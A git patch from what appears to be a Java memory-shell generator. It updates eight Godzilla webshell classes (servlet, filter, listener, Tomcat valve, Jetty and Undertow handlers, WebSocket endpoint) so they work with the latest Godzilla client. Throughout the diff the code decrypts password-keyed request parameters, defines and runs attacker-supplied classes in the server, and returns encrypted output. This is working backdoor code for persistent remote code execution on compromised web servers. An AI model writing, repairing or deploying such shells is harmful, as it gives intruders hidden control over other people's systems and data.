From 7069c4a96d0c1bc29346f5b35f5e143a53f946bd Mon Sep 17 00:00:00 2001 From: ReaJason Date: Thu, 29 May 2025 18:55:38 +0800 Subject: [PATCH] fix: Godzilla not work on latest version --- .../memshell/shelltool/godzilla/Godzilla.java | 6 +++--- .../memshell/shelltool/godzilla/GodzillaFilter.java | 6 +++--- .../shelltool/godzilla/GodzillaJettyHandler.java | 6 +++--- .../shelltool/godzilla/GodzillaListener.java | 6 +++--- .../shelltool/godzilla/GodzillaServlet.java | 13 ++++--------- .../godzilla/GodzillaUndertowServletHandler.java | 5 +++-- .../memshell/shelltool/godzilla/GodzillaValve.java | 7 +++---- .../shelltool/godzilla/GodzillaWebSocket.java | 12 ++++++------ 8 files changed, 28 insertions(+), 33 deletions(-) diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java index 8ef0abeb..b3713600 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java @@ -40,14 +40,14 @@ public class Godzilla extends ClassLoader { if (sessionPayload == null) { session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new Godzilla(Thread.currentThread().getContextClassLoader())).Q(data)); } else { - request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); Object f = ((Class) sessionPayload).newInstance(); - PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); f.equals(arrOut); f.equals(request); - writer.write(md5.substring(0, 16)); + f.equals(data); f.toString(); + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + writer.write(md5.substring(0, 16)); writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(md5.substring(16)); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java index cc290154..9e3c1151 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java @@ -37,15 +37,15 @@ public class GodzillaFilter extends ClassLoader implements Filter { byte[] data = base64Decode(request.getParameter(pass)); data = this.x(data, false); if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data)); + session.setAttribute("payload", (new GodzillaFilter(Thread.currentThread().getContextClassLoader())).Q(data)); } else { - request.setAttribute("parameters", data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); Object f = ((Class) session.getAttribute("payload")).newInstance(); f.equals(arrOut); f.equals(request); - response.getWriter().write(md5.substring(0, 16)); + f.equals(data); f.toString(); + response.getWriter().write(md5.substring(0, 16)); response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); response.getWriter().write(md5.substring(16)); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java index fb2f34fa..352a0f25 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java @@ -58,14 +58,14 @@ public class GodzillaJettyHandler extends ClassLoader { if (sessionPayload == null) { session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader())).Q(data)); } else { - request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); Object f = ((Class) sessionPayload).newInstance(); - PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); f.equals(arrOut); f.equals(request); - writer.write(md5.substring(0, 16)); + f.equals(data); f.toString(); + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + writer.write(md5.substring(0, 16)); writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(md5.substring(16)); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java index 589a1014..298a8966 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java @@ -97,15 +97,15 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe if (session.getAttribute("payload") == null) { session.setAttribute( "payload", - (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); + (new GodzillaListener(Thread.currentThread().getContextClassLoader())).Q(data)); } else { - request.setAttribute("parameters", data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); Object f = ((Class) session.getAttribute("payload")).newInstance(); f.equals(arrOut); f.equals(request); - response.getWriter().write(md5.substring(0, 16)); + f.equals(data); f.toString(); + response.getWriter().write(md5.substring(0, 16)); response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); response.getWriter().write(md5.substring(16)); response.flushBuffer(); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java index 3c358e10..79bc9c2a 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java @@ -37,20 +37,15 @@ public class GodzillaServlet extends ClassLoader implements Servlet { byte[] data = base64Decode(request.getParameter(pass)); data = this.x(data, false); if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new GodzillaServlet(this.getClass().getClassLoader())).Q(data)); + session.setAttribute("payload", (new GodzillaServlet(Thread.currentThread().getContextClassLoader())).Q(data)); } else { - request.setAttribute("parameters", data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f; - try { - f = ((Class) session.getAttribute("payload")).newInstance(); - } catch (Exception e) { - throw new RuntimeException(e); - } + Object f = ((Class) session.getAttribute("payload")).newInstance(); f.equals(arrOut); f.equals(request); - response.getWriter().write(md5.substring(0, 16)); + f.equals(data); f.toString(); + response.getWriter().write(md5.substring(0, 16)); response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); response.getWriter().write(md5.substring(16)); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java index 9eac3618..4719215b 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java @@ -47,11 +47,12 @@ public class GodzillaUndertowServletHandler extends ClassLoader { request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); Object f = ((Class) sessionPayload).newInstance(); - PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); f.equals(arrOut); f.equals(request); - writer.write(md5.substring(0, 16)); + f.equals(data); f.toString(); + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + writer.write(md5.substring(0, 16)); writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(md5.substring(16)); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java index 5a626b88..07a6ca9d 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java @@ -111,16 +111,15 @@ public class GodzillaValve extends ClassLoader implements Valve { byte[] data = base64Decode(request.getParameter(pass)); data = this.x(data, false); if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new GodzillaValve(this.getClass().getClassLoader())).Q(data)); + session.setAttribute("payload", (new GodzillaValve(Thread.currentThread().getContextClassLoader())).Q(data)); } else { - request.setAttribute("parameters", data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); Object f = ((Class) session.getAttribute("payload")).newInstance(); f.equals(arrOut); - f.equals(data); f.equals(request); - response.getWriter().write(md5.substring(0, 16)); + f.equals(data); f.toString(); + response.getWriter().write(md5.substring(0, 16)); response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); response.getWriter().write(md5.substring(16)); response.flushBuffer(); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java index 0ff0a726..3546801f 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java @@ -74,12 +74,12 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole< payload = reflectionDefineClass(data); session.getBasicRemote().sendText(base64Encode(x("ok".getBytes(), true))); } else { - ByteArrayOutputStream bos = new ByteArrayOutputStream(); - Object obj = payload.newInstance(); - obj.equals(data); - obj.equals(bos); - obj.toString(); - session.getBasicRemote().sendText(base64Encode(x(bos.toByteArray(), true))); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(data); + f.toString(); + session.getBasicRemote().sendText(base64Encode(x(arrOut.toByteArray(), true))); } } catch (Throwable e) { e.printStackTrace();